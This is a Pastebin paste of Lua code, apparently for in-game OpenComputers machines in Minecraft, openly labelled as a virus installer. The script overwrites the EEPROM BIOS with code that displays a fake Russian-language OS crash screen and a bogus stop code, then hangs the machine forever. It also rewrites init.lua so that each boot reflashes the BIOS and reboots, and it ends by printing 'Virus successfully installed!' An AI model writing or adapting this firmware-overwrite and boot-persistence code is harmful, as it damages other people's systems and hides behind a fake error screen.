Advertisement
CrimsonTheLynx

Installer

Nov 9th, 2017
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.76 KB | None | 0 0
  1. local virusPath = "bin/virus.lua"
  2. local EEPROMLabel = "EEPROM (Lua BIOS)"
  3.  
  4. ------------------------------------------------------------------------------------------------------------------------
  5.  
  6. local EEPROMCode = [[
  7.  
  8. local textLines = {
  9. "Похоже что-то пошло не так(((",
  10. "И из-за критической ошибки ваша ОСь",
  11. "Была программно нарушена",
  12. "Не советуем делать что-то самому!!!",
  13. "",
  14. "*** Stop: 0x00000059 (0xFFFFFA800A944e0, 0xFFFFF8801CF5AE4, 0xFFFFFFFC000009A)",
  15. }
  16.  
  17. local component_invoke = component.invoke
  18. function boot_invoke(address, method, ...)
  19. local result = table.pack(pcall(component_invoke, address, method, ...))
  20. if not result[1] then
  21. return nil, result[2]
  22. else
  23. return table.unpack(result, 2, result.n)
  24. end
  25. end
  26. ---------------------------------------------------------------
  27. local eeprom = component.list("eeprom")()
  28. computer.getBootAddress = function()
  29. return boot_invoke(eeprom, "getData")
  30. end
  31. computer.setBootAddress = function(address)
  32. return boot_invoke(eeprom, "setData", address)
  33. end
  34.  
  35. do
  36. _G.screen = component.list("screen")()
  37. _G.gpu = component.list("gpu")()
  38. if gpu and screen then
  39. boot_invoke(gpu, "bind", screen)
  40. end
  41. end
  42. ---------------------------------------------------------------
  43.  
  44. local function centerText(mode,coord,text)
  45. local dlina = unicode.len(text)
  46. local xSize,ySize = boot_invoke(gpu, "getResolution")
  47.  
  48. if mode == "x" then
  49. boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  50. elseif mode == "y" then
  51. boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  52. else
  53. boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  54. end
  55. end
  56.  
  57. local function virus()
  58. local background, foreground = 0x0000AA, 0xCCCCCC
  59. local xSize, ySize = boot_invoke(gpu, "getResolution")
  60. boot_invoke(gpu, "setBackground", background)
  61. boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  62.  
  63. boot_invoke(gpu, "setBackground", foreground)
  64. boot_invoke(gpu, "setForeground", background)
  65.  
  66. local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  67. centerText("x", y, " Ошибка OpenOS ")
  68. y = y + 2
  69.  
  70. boot_invoke(gpu, "setBackground", background)
  71. boot_invoke(gpu, "setForeground", foreground)
  72.  
  73. for i = 1, #textLines do
  74. centerText("x", y, textLines[i])
  75. y = y + 1
  76. end
  77.  
  78. while true do
  79. computer.pullSignal()
  80. end
  81. end
  82.  
  83. if gpu then virus() end
  84. ]]
  85.  
  86. local INITCode = [[
  87.  
  88. local backgroundColor = 0x262626
  89. local foregroundColor = 0xcccccc
  90.  
  91. do
  92.  
  93. _G._OSVERSION = "OpenOS 1.5"
  94.  
  95. local component = component
  96. local computer = computer
  97. local unicode = unicode
  98.  
  99. -- Runlevel information.
  100. local runlevel, shutdown = "S", computer.shutdown
  101. computer.runlevel = function() return runlevel end
  102. computer.shutdown = function(reboot)
  103. runlevel = reboot and 6 or 0
  104. if os.sleep then
  105. computer.pushSignal("shutdown")
  106. os.sleep(0.1) -- Allow shutdown processing.
  107. end
  108. shutdown(reboot)
  109. end
  110.  
  111. -- Low level dofile implementation to read filesystem libraries.
  112. local rom = {}
  113. function rom.invoke(method, ...)
  114. return component.invoke(computer.getBootAddress(), method, ...)
  115. end
  116. function rom.open(file) return rom.invoke("open", file) end
  117. function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  118. function rom.close(handle) return rom.invoke("close", handle) end
  119. function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  120. function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  121.  
  122. local screen = component.list('screen',true)()
  123. for address in component.list('screen',true) do
  124. if #component.invoke(address, 'getKeyboards') > 0 then
  125. screen = address
  126. end
  127. end
  128.  
  129. -- Report boot progress if possible.
  130. local gpu = component.list("gpu", true)()
  131. local w, h
  132. if gpu and screen then
  133. component.invoke(gpu, "bind", screen)
  134. w, h = component.invoke(gpu, "getResolution")
  135. component.invoke(gpu, "setResolution", w, h)
  136. component.invoke(gpu, "setBackground", backgroundColor)
  137. component.invoke(gpu, "setForeground", foregroundColor)
  138. component.invoke(gpu, "fill", 1, 1, w, h, " ")
  139. end
  140. local y = 1
  141. local function status(msg)
  142.  
  143.  
  144. local yPos = math.floor(h / 2)
  145. local length = #msg
  146. local xPos = math.floor(w / 2 - length / 2)
  147.  
  148. component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  149. component.invoke(gpu, "set", xPos, yPos, msg)
  150.  
  151. -- if gpu and screen then
  152. -- component.invoke(gpu, "set", 1, y, msg)
  153. -- if y == h then
  154. -- component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  155. -- component.invoke(gpu, "fill", 1, h, w, 1, " ")
  156. -- else
  157. -- y = y + 1
  158. -- end
  159. -- end
  160. end
  161.  
  162. status("Booting " .. _OSVERSION .. "...")
  163.  
  164. -- Custom low-level loadfile/dofile implementation reading from our ROM.
  165. local function loadfile(file)
  166. status("> " .. file)
  167. local handle, reason = rom.open(file)
  168. if not handle then
  169. error(reason)
  170. end
  171. local buffer = ""
  172. repeat
  173. local data, reason = rom.read(handle)
  174. if not data and reason then
  175. error(reason)
  176. end
  177. buffer = buffer .. (data or "")
  178. until not data
  179. rom.close(handle)
  180. return load(buffer, "=" .. file)
  181. end
  182.  
  183. local function dofile(file)
  184. local program, reason = loadfile(file)
  185. if program then
  186. local result = table.pack(pcall(program))
  187. if result[1] then
  188. return table.unpack(result, 2, result.n)
  189. else
  190. error(result[2])
  191. end
  192. else
  193. error(reason)
  194. end
  195. end
  196.  
  197. status("Initializing package management...")
  198.  
  199. -- Load file system related libraries we need to load other stuff moree
  200. -- comfortably. This is basically wrapper stuff for the file streams
  201. -- provided by the filesystem components.
  202. local package = dofile("/lib/package.lua")
  203.  
  204. do
  205. -- Unclutter global namespace now that we have the package module.
  206. --_G.component = nil
  207. _G.computer = nil
  208. _G.process = nil
  209. _G.unicode = nil
  210.  
  211. -- Initialize the package module with some of our own APIs.
  212. package.preload["buffer"] = loadfile("/lib/buffer.lua")
  213. package.preload["component"] = function() return component end
  214. package.preload["computer"] = function() return computer end
  215. package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  216. package.preload["io"] = loadfile("/lib/io.lua")
  217. package.preload["unicode"] = function() return unicode end
  218.  
  219. -- Inject the package and io modules into the global namespace, as in Lua.
  220. _G.package = package
  221. _G.io = require("io")
  222.  
  223. end
  224.  
  225. status("Initializing file system...")
  226.  
  227. -- Mount the ROM and temporary file systems to allow working on the file
  228. -- system module from this point on.
  229. local filesystem = require("filesystem")
  230. filesystem.mount(computer.getBootAddress(), "/")
  231.  
  232. status("Running boot scripts...")
  233.  
  234. -- Run library startup scripts. These mostly initialize event handlers.
  235. local scripts = {}
  236. for _, file in rom.inits() do
  237. local path = "boot/" .. file
  238. if not rom.isDirectory(path) then
  239. table.insert(scripts, path)
  240. end
  241. end
  242. table.sort(scripts)
  243. for i = 1, #scripts do
  244. dofile(scripts[i])
  245. end
  246.  
  247. status("Initializing components...")
  248.  
  249. local primaries = {}
  250. for c, t in component.list() do
  251. local s = component.slot(c)
  252. if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  253. primaries[t] = {address=c, slot=s}
  254. end
  255. computer.pushSignal("component_added", c, t)
  256. end
  257. for t, c in pairs(primaries) do
  258. component.setPrimary(t, c.address)
  259. end
  260. os.sleep(0.5) -- Allow signal processing by libraries.
  261. --computer.pushSignal("init") -- so libs know components are initialized.
  262.  
  263. -- status("Initializing system...")
  264. --require("term").clear()
  265. os.sleep(0.1) -- Allow init processing.
  266. runlevel = 1
  267. end
  268. ]]
  269.  
  270. local component = require("component")
  271. local args = { ... }
  272.  
  273. local function flashEEPROM()
  274. local eeprom = component.getPrimary("eeprom")
  275. eeprom.set(EEPROMCode)
  276. eeprom.setLabel(EEPROMLabel)
  277. end
  278.  
  279. local function rewriteInit()
  280. local file = io.open("init.lua", "w")
  281. file:write(INITCode, "\n", "\n")
  282. file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  283. file:write("require(\"computer\").shutdown(true)")
  284. file:close()
  285. end
  286.  
  287. if args[1] == "flashEEPROM" then
  288. flashEEPROM()
  289. else
  290. print(" ")
  291. print("Перепрошиваю BIOS...")
  292. flashEEPROM()
  293. print("Перезаписываю кастомный init.lua...")
  294. rewriteInit()
  295. print(" ")
  296. print("Вирус успешно установлен!")
  297. print(" ")
  298. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement